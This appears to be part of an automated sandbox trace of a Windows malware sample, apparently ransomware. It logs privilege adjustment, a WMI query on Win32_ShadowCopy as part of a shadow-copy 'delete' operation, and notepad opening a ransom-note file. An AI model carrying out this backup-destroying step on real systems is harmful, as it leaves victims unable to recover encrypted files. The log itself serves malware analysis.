TokenHandle=0x294, DisableAllPrivileges=0, NewState=0x2422448*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0087.504] free (_Block=0x2422448) [0087.504] CloseHandle (hObject=0x294) returned 1 [0087.504] lstrlenW (lpString="GET") returned 3 [0087.504] lstrlenW (lpString="delete") returned 6 [0087.504] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0087.504] lstrlenW (lpString="LIST") returned 4 [0087.504] lstrlenW (lpString="delete") returned 6 [0087.504] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0087.504] lstrlenW (lpString="SET") returned 3 [0087.504] lstrlenW (lpString="delete") returned 6 [0087.504] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0087.504] lstrlenW (lpString="CALL") returned 4 [0087.505] lstrlenW (lpString="delete") returned 6 [0087.505] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0087.505] lstrlenW (lpString="ASSOC") returned 5 [0087.505] lstrlenW (lpString="delete") returned 6 [0087.505] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0087.505] lstrlenW (lpString="CREATE") returned 6 [0087.505] lstrlenW (lpString="delete") returned 6 [0087.505] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0087.505] lstrlenW (lpString="DELETE") returned 6 [0087.505] lstrlenW (lpString="delete") returned 6 [0087.505] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0087.510] malloc (_Size=0xc) returned 0x2422078 [0087.511] lstrlenA (lpString="") returned 0 [0087.511] malloc (_Size=0x2) returned 0x32820 [0087.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8526a2, cbMultiByte=-1, lpWideCharStr=0x32820, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0087.511] free (_Block=0x32820) [0087.511] malloc (_Size=0xc) returned 0x24220c0 [0087.511] lstrlenA (lpString="") returned 0 [0087.511] malloc (_Size=0x2) returned 0x32820 [0087.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8526a2, cbMultiByte=-1, lpWideCharStr=0x32820, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0087.511] free (_Block=0x32820) [0087.511] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0087.511] malloc (_Size=0x3e) returned 0x3ff78 [0087.511] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0087.511] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0x36a4e758 | out: _String="Select", _Context=0x36a4e758) returned="Select" [0087.511] malloc (_Size=0xc) returned 0x2422168 [0087.511] free (_Block=0x24220c0) [0087.511] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x36a4e758 | out: _String=0x0, _Context=0x36a4e758) returned="*" [0087.511] lstrlenW (lpString="FROM") returned 4 [0087.511] lstrlenW (lpString="*") returned 1 [0087.511] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0087.511] malloc (_Size=0xc) returned 0x24220c0 [0087.511] free (_Block=0x2422168) [0087.511] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x36a4e758 | out: _String=0x0, _Context=0x36a4e758) returned="from" [0087.512] lstrlenW (lpString="FROM") returned 4 [0087.512] lstrlenW (lpString="from") returned 4 [0087.512] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0087.512] malloc (_Size=0xc) returned 0x2422168 [0087.512] free (_Block=0x24220c0) [0087.512] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x36a4e758 | out: _String=0x0, _Context=0x36a4e758) returned="Win32_ShadowCopy" [0087.512] malloc (_Size=0xc) returned 0x24220c0 [0087.512] free (_Block=0x2422168) [0087.512] free (_Block=0x3ff78) [0087.512] malloc (_Size=0xc) returned 0x2422168 [0087.512] malloc (_Size=0xc) returned 0x24220a8 [0087.512] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0087.512] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0087.512] free (_Block=0x2422078) [0087.512] free (_Block=0x2422168) [0087.512] ??0CHString@@QAE@XZ () returned 0x2bfc94 [0087.513] GetCurrentThreadId () returned 0x5a8 [0087.513] malloc (_Size=0xc) returned 0x2422168 [0087.513] malloc (_Size=0xc) returned 0x2422078 [0087.513] malloc (_Size=0xc) returned 0x2422108 [0087.513] malloc (_Size=0xc) returned 0x2422120 [0087.513] malloc (_Size=0xc) returned 0x2422138 [0087.513] SysStringLen (param_1="\\\\") returned 0x2 [0087.513] SysStringLen (param_1="XDUWTFONO") returned 0x9 [0087.513] malloc (_Size=0xc) returned 0x2422150 [0087.513] SysStringLen (param_1="\\\\XDUWTFONO") returned 0xb [0087.513] SysStringLen (param_1="\\") returned 0x1 [0087.513] malloc (_Size=0xc) returned 0x2422180 [0087.513] SysStringLen (param_1="\\\\XDUWTFONO\\") returned 0xc [0087.513] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0087.513] free (_Block=0x2422150) [0087.514] free (_Block=0x2422138) [0087.514] free (_Block=0x2422120) [0087.514] free (_Block=0x2422108) [0087.514] free (_Block=0x2422078) [0087.514] free (_Block=0x2422168) [0087.514] malloc (_Size=0xc) returned 0x2422168 [0087.514] malloc (_Size=0xc) returned 0x2422078 [0087.514] malloc (_Size=0xc) returned 0x2422108 [0087.514] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d90828, strNetworkResource="\\\\XDUWTFONO\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x89c204 | out: ppNamespace=0x89c204*=0x1d9d0bc) returned 0x0 [0087.520] free (_Block=0x2422108) [0087.521] free (_Block=0x2422078) [0087.521] free (_Block=0x2422168) [0087.521] CoSetProxyBlanket (pProxy=0x1d9d0bc, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0087.521] free (_Block=0x2422180) [0087.521] ??1CHString@@QAE@XZ () returned 0x75040504 [0087.521] ??0CHString@@QAE@XZ () returned 0x2bfc8c [0087.521] GetCurrentThreadId () returned 0x5a8 [0087.521] malloc (_Size=0xc) returned 0x2422180 [0087.521] lstrlenA (lpString="") returned 0 [0087.521] malloc (_Size=0x2) returned 0x32820 [0087.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8526a2, cbMultiByte=-1, lpWideCharStr=0x32820, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0087.521] free (_Block=0x32820) [0087.521] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0087.521] SysStringLen (param_1="") returned 0x0 [0087.521] free (_Block=0x2422180) [0087.521] malloc (_Size=0xc) returned 0x2422180 [0087.521] IWbemServices:ExecQuery (in: This=0x1d9d0bc, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x2bfc88 | out: ppEnum=0x2bfc88*=0x0) returned 0x80041014 [0088.535] free (_Block=0x2422180) [0088.535] _CxxThrowException () [0088.536] malloc (_Size=0x10) returned 0x2422180 [0088.536] ??1CHString@@QAE@XZ () returned 0x75040504 [0088.536] free (_Block=0x24220c0) [0088.536] free (_Block=0x24220a8) [0088.536] GetCurrentThreadId () returned 0x5a8 [0088.536] ??0CHString@@QAE@PBG@Z () returned 0x2bfd4c [0088.536] ??YCHString@@QAEABV0@PBG@Z () returned 0x2bfd4c [0088.536] ??0CHString@@QAE@XZ () returned 0x2bfc10 [0088.536] malloc (_Size=0xc) returned 0x24220a8 [0088.536] malloc (_Size=0xc) returned 0x24220c0 [0088.536] SysStringLen (param_1="") returned 0x0 [0088.537] free (_Block=0x24220a8) [0088.537] CoCreateInstance (in: rclsid=0x856cb0*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x856c00*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0x89c21c | out: ppv=0x89c21c*=0x1d90810) returned 0x0 [0088.542] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x1d90810, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x2bfc28 | out: MessageText=0x2bfc28*="Initialization failure\r\n") returned 0x0 [0088.544] free (_Block=0x24220c0) [0088.545] malloc (_Size=0xc) returned 0x24220c0 [0088.545] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0x1d90810, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x2bfc4c | out: MessageText=0x2bfc4c*="WMI") returned 0x0 [0088.546] malloc (_Size=0xc) returned 0x24220a8 [0088.546] lstrlenW (lpString="WMI") returned 3 [0088.546] lstrlenW (lpString="Wbem") returned 4 [0088.546] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1 [0088.546] lstrlenW (lpString="WMI") returned 3 [0088.546] lstrlenW (lpString="WMI") returned 3 [0088.546] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2 [0088.546] WbemStatusCodeText:IUnknown:Release (This=0x1d90810) returned 0x0 [0088.546] ??1CHString@@QAE@XZ () returned 0x75040504 [0088.546] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0x2bf478, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18 [0088.546] FormatMessageW (in: dwFlags=0x2500, lpSource=0x2bf478, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x2bf474, nSize=0x0, Arguments=0x2bf460 | out: lpBuffer="䛀9ERROR:\r\nDescription = %1") returned 0x2e [0088.546] malloc (_Size=0xc) returned 0x2422168 [0088.546] LocalFree (hMem=0x3946c0) returned 0x0 [0088.546] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0088.546] malloc (_Size=0x2f) returned 0x3ff78 [0088.547] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x3ff78, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47 [0088.547] fprintf (in: _File=0x77032940, _Format="%s" | out: _File=0x77032940) returned 46 [0088.549] fflush (in: _File=0x77032940 | out: _File=0x77032940) returned 0 [0088.549] free (_Block=0x3ff78) [0088.550] free (_Block=0x2422168) [0088.550] free (_Block=0x24220a8) [0088.550] free (_Block=0x24220c0) [0088.550] ??1CHString@@QAE@XZ () returned 0x1 [0088.550] ??0CHString@@QAE@PBG@Z () returned 0x2bfd6c [0088.550] ??YCHString@@QAEABV0@PBG@Z () returned 0x2bfd6c [0088.550] GetCurrentThreadId () returned 0x5a8 [0088.550] ??1CHString@@QAE@XZ () returned 0x1 [0088.550] WbemLocator:IUnknown:Release (This=0x1d9d0bc) returned 0x0 [0088.554] ?Empty@CHString@@QAEXXZ () returned 0x75040504 [0088.554] free (_Block=0x2422180) [0088.555] _kbhit () returned 0x0 [0088.557] free (_Block=0x32f08) [0088.557] free (_Block=0x2422060) [0088.557] free (_Block=0x3fe88) [0088.557] free (_Block=0x3fe70) [0088.557] free (_Block=0x3fe58) [0088.557] free (_Block=0x33188) [0088.557] free (_Block=0x3eb88) [0088.557] free (_Block=0x3ff40) [0088.557] free (_Block=0x24220d8) [0088.557] free (_Block=0x3fec0) [0088.557] free (_Block=0x24220f0) [0088.557] free (_Block=0x3ebc8) [0088.557] free (_Block=0x3ff30) [0088.557] free (_Block=0x32e90) [0088.557] free (_Block=0x3ff08) [0088.557] ?Empty@CHString@@QAEXXZ () returned 0x75040504 [0088.557] free (_Block=0x331c0) [0088.557] free (_Block=0x3eba8) [0088.558] free (_Block=0x2422090) [0088.558] free (_Block=0x32720) [0088.558] free (_Block=0x32768) [0088.558] free (_Block=0x327b0) [0088.558] free (_Block=0x3ebe8) [0088.558] free (_Block=0x32888) [0088.558] free (_Block=0x32e78) [0088.558] free (_Block=0x3e8c8) [0088.558] free (_Block=0x32e60) [0088.558] free (_Block=0x3e8a8) [0088.558] free (_Block=0x32e48) [0088.558] free (_Block=0x3e888) [0088.558] free (_Block=0x329c0) [0088.558] free (_Block=0x329d8) [0088.558] free (_Block=0x32988) [0088.558] free (_Block=0x329a0) [0088.558] free (_Block=0x329f8) [0088.558] free (_Block=0x32a10) [0088.558] free (_Block=0x32a30) [0088.558] free (_Block=0x3e868) [0088.558] free (_Block=0x32918) [0088.559] free (_Block=0x32930) [0088.559] free (_Block=0x328e0) [0088.559] free (_Block=0x328f8) [0088.559] free (_Block=0x32950) [0088.559] free (_Block=0x32968) [0088.559] free (_Block=0x328a8) [0088.559] free (_Block=0x328c0) [0088.559] free (_Block=0x32840) [0088.559] free (_Block=0x327f8) [0088.559] free (_Block=0x24205b0) [0088.559] WbemLocator:IUnknown:Release (This=0x1d90828) returned 0x2 [0088.559] WbemLocator:IUnknown:Release (This=0x1d9d064) returned 0x0 [0088.560] WbemLocator:IUnknown:Release (This=0x1d9d00c) returned 0x0 [0088.561] WbemLocator:IUnknown:Release (This=0x1d90828) returned 0x1 [0088.561] ?Empty@CHString@@QAEXXZ () returned 0x75040504 [0088.561] WbemLocator:IUnknown:Release (This=0x1d90828) returned 0x0 [0088.561] free (_Block=0x3fdf8) [0088.561] free (_Block=0x3fe10) [0088.561] free (_Block=0x3eb48) [0088.561] free (_Block=0x3fe28) [0088.561] free (_Block=0x3fe40) [0088.561] free (_Block=0x3eb68) [0088.561] free (_Block=0x3fcd8) [0088.561] free (_Block=0x3fcf0) [0088.561] free (_Block=0x3ea88) [0088.561] free (_Block=0x3fd08) [0088.562] free (_Block=0x3fd20) [0088.562] free (_Block=0x3eaa8) [0088.562] free (_Block=0x3fc78) [0088.562] free (_Block=0x3fc90) [0088.562] free (_Block=0x3ea48) [0088.562] free (_Block=0x3fca8) [0088.562] free (_Block=0x3fcc0) [0088.562] free (_Block=0x3ea68) [0088.562] free (_Block=0x3fd98) [0088.562] free (_Block=0x3fdb0) [0088.562] free (_Block=0x3eb08) [0088.562] free (_Block=0x3fdc8) [0088.562] free (_Block=0x3fde0) [0088.562] free (_Block=0x3eb28) [0088.562] free (_Block=0x3fc18) [0088.562] free (_Block=0x3fc30) [0088.562] free (_Block=0x3ea08) [0088.562] free (_Block=0x3fc48) [0088.562] free (_Block=0x3fc60) [0088.563] free (_Block=0x3ea28) [0088.563] free (_Block=0x3fd38) [0088.563] free (_Block=0x3fd50) [0088.563] free (_Block=0x3eac8) [0088.563] free (_Block=0x3fd68) [0088.563] free (_Block=0x3fd80) [0088.563] free (_Block=0x3eae8) [0088.563] free (_Block=0x3fb88) [0088.563] free (_Block=0x3fba0) [0088.563] free (_Block=0x3e9a8) [0088.563] free (_Block=0x33110) [0088.563] free (_Block=0x33128) [0088.563] free (_Block=0x3e908) [0088.563] free (_Block=0x32ed8) [0088.563] free (_Block=0x32ef0) [0088.563] free (_Block=0x3e8e8) [0088.563] free (_Block=0x3faf8) [0088.563] free (_Block=0x3fb10) [0088.563] free (_Block=0x3e948) [0088.563] free (_Block=0x3fbb8) [0088.564] free (_Block=0x3fbd0) [0088.564] free (_Block=0x3e9c8) [0088.564] free (_Block=0x3fac8) [0088.564] free (_Block=0x3fae0) [0088.564] free (_Block=0x3e928) [0088.564] free (_Block=0x3fb28) [0088.564] free (_Block=0x3fb40) [0088.564] free (_Block=0x3e968) [0088.564] free (_Block=0x3fb58) [0088.564] free (_Block=0x3fb70) [0088.564] free (_Block=0x3e988) [0088.564] free (_Block=0x3fbe8) [0088.564] free (_Block=0x3fc00) [0088.564] free (_Block=0x3e9e8) [0088.564] CoUninitialize () [0088.603] exit (_Code=-2147217388) [0088.603] free (_Block=0x33140) [0088.603] free (_Block=0x33ea8) [0088.603] ??1CHString@@QAE@XZ () returned 0x75040504 [0088.603] free (_Block=0x32fb0) [0088.603] free (_Block=0x33fd8) [0088.604] free (_Block=0x33e88) [0088.604] free (_Block=0x33e68) [0088.604] free (_Block=0x33e38) [0088.604] free (_Block=0x33e18) [0088.604] free (_Block=0x33de8) [0088.604] free (_Block=0x33da8) [0088.604] free (_Block=0x33d88) [0088.604] ??1CHString@@QAE@XZ () returned 0x75040504 [0088.604] free (_Block=0x3feb0) Thread: id = 46 os_tid = 0xa14 Thread: id = 49 os_tid = 0x570 Thread: id = 50 os_tid = 0xb84 Thread: id = 51 os_tid = 0x618 Thread: id = 52 os_tid = 0xbf8 Process: id = "12" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x971d000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d057" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 53 os_tid = 0x984 Thread: id = 54 os_tid = 0x974 Thread: id = 55 os_tid = 0x940 Thread: id = 56 os_tid = 0x930 Thread: id = 57 os_tid = 0x920 Thread: id = 58 os_tid = 0x910 Thread: id = 59 os_tid = 0x900 Thread: id = 60 os_tid = 0x8f0 Thread: id = 61 os_tid = 0x8e0 Thread: id = 62 os_tid = 0x8cc Thread: id = 63 os_tid = 0x8bc Thread: id = 64 os_tid = 0x8ac Thread: id = 65 os_tid = 0x640 Thread: id = 66 os_tid = 0x5d8 Thread: id = 67 os_tid = 0x320 Thread: id = 68 os_tid = 0x6cc Thread: id = 69 os_tid = 0x42c Thread: id = 70 os_tid = 0x1e4 Thread: id = 71 os_tid = 0x760 Thread: id = 72 os_tid = 0x75c Thread: id = 73 os_tid = 0x74c Thread: id = 74 os_tid = 0x710 Thread: id = 75 os_tid = 0x6d0 Thread: id = 76 os_tid = 0x6bc Thread: id = 77 os_tid = 0x6b8 Thread: id = 78 os_tid = 0x6b0 Thread: id = 79 os_tid = 0x6a8 Thread: id = 80 os_tid = 0x69c Thread: id = 81 os_tid = 0x698 Thread: id = 82 os_tid = 0x684 Thread: id = 83 os_tid = 0x678 Thread: id = 84 os_tid = 0x4a8 Thread: id = 85 os_tid = 0x46c Thread: id = 86 os_tid = 0x44c Thread: id = 87 os_tid = 0x424 Thread: id = 88 os_tid = 0x420 Thread: id = 89 os_tid = 0x41c Thread: id = 90 os_tid = 0x404 Thread: id = 91 os_tid = 0x14c Thread: id = 92 os_tid = 0x158 Thread: id = 93 os_tid = 0x3fc Thread: id = 94 os_tid = 0x3f4 Thread: id = 95 os_tid = 0x3e8 Thread: id = 96 os_tid = 0x39c Thread: id = 97 os_tid = 0x390 Thread: id = 98 os_tid = 0x38c Thread: id = 99 os_tid = 0x388 Thread: id = 100 os_tid = 0x37c Thread: id = 101 os_tid = 0x374 Thread: id = 133 os_tid = 0xb6c Thread: id = 134 os_tid = 0x5c4 Thread: id = 135 os_tid = 0xa98 Thread: id = 136 os_tid = 0xb70 Thread: id = 137 os_tid = 0xaa0 Thread: id = 138 os_tid = 0xa90 Thread: id = 139 os_tid = 0xaa4 Thread: id = 140 os_tid = 0x34c Thread: id = 141 os_tid = 0x344 Thread: id = 142 os_tid = 0x604 Thread: id = 151 os_tid = 0x748 Thread: id = 152 os_tid = 0x270 Thread: id = 153 os_tid = 0x6d8 Thread: id = 154 os_tid = 0x900 Thread: id = 155 os_tid = 0x8f0 Thread: id = 156 os_tid = 0xbcc Thread: id = 157 os_tid = 0xb2c Thread: id = 158 os_tid = 0x5f4 Thread: id = 159 os_tid = 0xbbc Thread: id = 160 os_tid = 0xb0c Thread: id = 170 os_tid = 0x500 Thread: id = 171 os_tid = 0x6b8 Process: id = "13" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x6006c000" os_pid = "0xa44" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00044f0a" [0xc000000f] Thread: id = 102 os_tid = 0x950 Thread: id = 103 os_tid = 0xa6c Thread: id = 104 os_tid = 0xa64 Thread: id = 105 os_tid = 0xa60 Thread: id = 106 os_tid = 0xa5c Thread: id = 107 os_tid = 0xa58 Thread: id = 108 os_tid = 0xa54 Thread: id = 109 os_tid = 0xa50 Thread: id = 110 os_tid = 0xa4c Thread: id = 111 os_tid = 0xa48 Thread: id = 147 os_tid = 0xa14 Thread: id = 194 os_tid = 0x9f8 Process: id = "14" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x61867000" os_pid = "0xa18" os_integrity_level = "0x4000" os_privileges = "0xe60b1e990" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d057" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 112 os_tid = 0x964 Thread: id = 113 os_tid = 0xa38 Thread: id = 114 os_tid = 0xa34 Thread: id = 115 os_tid = 0xa30 Thread: id = 116 os_tid = 0xa2c Thread: id = 117 os_tid = 0xa28 Thread: id = 118 os_tid = 0xa24 Thread: id = 119 os_tid = 0xa20 Thread: id = 120 os_tid = 0xa1c Thread: id = 148 os_tid = 0x570 Thread: id = 192 os_tid = 0x758 Thread: id = 193 os_tid = 0x86c Process: id = "15" image_name = "wmiprvse.exe" filename = "c:\\windows\\syswow64\\wbem\\wmiprvse.exe" page_root = "0x37491000" os_pid = "0x7c4" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0005d755" [0xc000000f] Thread: id = 121 os_tid = 0xb9c Thread: id = 122 os_tid = 0xba8 Thread: id = 123 os_tid = 0xb24 Thread: id = 124 os_tid = 0x850 Thread: id = 125 os_tid = 0x840 Thread: id = 126 os_tid = 0x830 Thread: id = 127 os_tid = 0x810 Thread: id = 146 os_tid = 0xbf4 Thread: id = 161 os_tid = 0x304 Process: id = "16" image_name = "notepad.exe" filename = "c:\\windows\\syswow64\\notepad.exe" page_root = "0x5069d000" os_pid = "0x364" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xb7c" cmd_line = "\"C:\\Windows\\system32\\NOTEPAD.EXE\" C:\\How Do I Recover My Files (Readme).txt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated 